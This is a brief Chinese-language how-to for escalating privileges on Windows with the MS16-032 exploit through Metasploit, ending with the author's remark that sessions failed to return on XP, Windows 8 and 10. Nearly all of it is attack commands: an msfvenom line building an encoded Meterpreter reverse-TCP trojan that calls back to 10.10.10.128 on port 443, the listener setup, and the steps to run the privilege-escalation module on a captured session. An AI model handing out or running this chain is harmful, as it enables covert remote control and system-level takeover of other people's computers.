ms16_032系统提权

1.利用msfvenom生成木马

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 13 -b '\x00\xfff\x0a' lhost=10.10.10.128 --platform windows lport=443 -f exe >/root/test.exe

2.在msf下开启监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 10.10.10.128

set lport 443

exploit

3.获取session后放置后台background

4.use ms16_032_secondary_logon_handle_privesc

5.set session 1

6.exploit

 

不知什么原因 xp win10 win8都不能返回session，win7未测试